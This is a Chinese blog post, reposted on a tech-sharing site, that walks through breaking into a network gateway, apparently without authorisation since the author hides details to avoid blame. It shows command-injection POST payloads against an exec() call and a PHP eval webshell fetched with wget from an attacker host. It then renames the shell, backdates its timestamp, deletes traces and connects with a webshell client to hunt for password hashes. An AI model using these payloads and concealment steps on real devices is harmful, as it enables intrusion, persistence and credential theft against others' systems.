ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

一次网络设备渗透

2021-03-19 16:59:04  阅读:229  来源: 互联网

标签:文件 一次 web 渗透 ip nat fail 网络设备 password


记录一次简单的渗透

前言

之前在网上偶然看到某网络设备大厂的网关被爆出漏洞,想起某个网络中这种网关很多,于是就有了本次渗透经历
避免被追责,很多信息不便泄漏。

1.设备发现
扫描发现,很多开启了80和443端口的IP,经过一一排查,最终锁定了这个ip地址

172.21.1.22: 80

web页面如下
在这里插入图片描述
2.漏洞利用
弱口令无果,开始查找该设备漏洞相关信息
在网上查到了相关漏洞细节如下

<?php
    //查询用户是否上线了
    $userip = @$_POST['ip'];
    $usermac = @$_POST['mac'];
    if (!$userip || !$usermac) {
        exit;
    }
    /* 判断该用户是否已经放行 */
    $cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
    $res = exec($cmd, $out, $status);
    /* 如果已经上线成功 */
    if (strstr($out[0], "status:1")) {
        echo 'true';
    }
?>

这代码写得实在不想吐槽,就差直接写eval了,一句话都省得传了
没有任何过滤,直接构造post请求就可以执行任意命令
随后开始构造payload,可以看出没有任何过滤,不需要任何绕过
使用hackbar构造post请求

ip=127.0.0.1 | whoami > whoami.txt&mac=1

使用管道符执行多条命令,mac=1可以使if语句恒成立,ip是多少已经无所谓了,重要的是管道符后面的命令
访问whoami.txt文件,发现命令执行成功
在这里插入图片描述
随后用phpstudy搭建本地web环境,并且将一句话木马放在网站目录地下

<?php @eval($_POST['pass']) ?>
wget http://x.x.x.x/shell.txt

值得注意的是,这里尽量使用txt格式,使用php格式会被本地服务器解析,下载不了
当然,也可以传其他类型的一句话木马,这样不会被解析
之后再构造post请求,将木马改名

ip=127.0.0.1 | mv shell.txt guestIsOut.php | touch -t 202001061257 guestIsOut.php | rm whoami.txt &mac=1

mv 将木马改名为一个不易被发现的php文件,并且更改文件修改时间,删除刚才的测试文件
总的来说就是做伪装。
随后使用菜刀软件连接上去
在这里插入图片描述
连接成功,值得注意的是,如果该设备使用了https,菜刀记得忽略https证书

3.进一步深入

经过分析发现,该设备应该是一台嵌入式设备,passwd和shadow文件都为空,并且web页面也是直接由root去执行的。
随后猜测管理员可能会把很多设备的密码都设置成一样的,于是打算去破解web页面的密码。
查看登录页源码
在这里插入图片描述
这里的登录不是表单提交的,因此开始寻址这个按钮的点击事件
找到了如下js代码

function Login() {
}

Login.prototype = {
    loginWeb :function() {
        var that = this;
        var username = $('#username');
        var password = $('#password');
        var usernameValue = $.trim(username.val());
        var passwordValue = $.trim(password.val());
        if(usernameValue === ""){
            that.setTip("请输入用户名!","username");
            return false;
        }
        if(passwordValue === ""){
            that.setTip("请输入密码!","password");
            return false;
        }
        var key = Base64.encode("user="+usernameValue+"&password="+passwordValue);
        $("#login").attr("disabled",true);
        $("#login").text("正在登录");
        $.ajax({
            dataType: 'json',
            type: 'post',
            async: false,
            url: "/login.php",
            data: {
                "key":key
            },

可以看出,将数据经过ajax请求提交给了后端验证
用菜刀下载login.php文件
发现该文件进行了部分简单的过滤,然后调用了webmaster这个二进制文件


        $res = execCli("exec", "webmaster $username $password $hostip");
        if ($res["status"] != 1) {
            json_echo($res);
            exit();
        }

之后把webmaster下载下来,使用strings webmaster分析,该命令可以打印出二进制文件中可打印的字符串

acl_ip
nat_ip
pub_intf
nat_intf
/data/pubnet_config.json
/data/pubnet_config.json
jso fail
pacl
pacl fail
dacl
dacl fail
pnat
pnat fail
dnat
dnat fail
source_ip fail
acl_ip fail
nat_ip fail
pub_intf fail
nat_intf fail
type
type fail
mode
mode fail
no ip nat inside source list 1
no ip nat inside source list %u
no ip access-list standard %u
no ip nat pool %s
exit
10 permit any

以上是部分字符串,大概是一个路由器的配置、验证文件,猜测web端对路由器的控制都经过了webmaster,里面有很多路由器的配置命令,然后一一查看了webmaster所访问的文件,都没有什么收获,不过有意思的是,在查找的过程中,发现了/data/config.text这个文件,发现应该是路由器的全局配置文件,然后找到了如下命令
在这里插入图片描述
很明显,这个应该就是web页面密码的配置命令,这下得到了密码的密文,剩下的就是解密了。
可惜的是,该厂商使用了应该是思科password 7魔改以后的加密方式,网上并没有对应的破解方式,没办法暂时只能卡在这一步了
我编写了相关exp,项目地址:https://gitee.com/bllldd/python-tools/tree/master/exp/RG 请勿用于非法用途

标签:文件,一次,web,渗透,ip,nat,fail,网络设备,password
来源: https://blog.csdn.net/qq_49186692/article/details/114954060

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有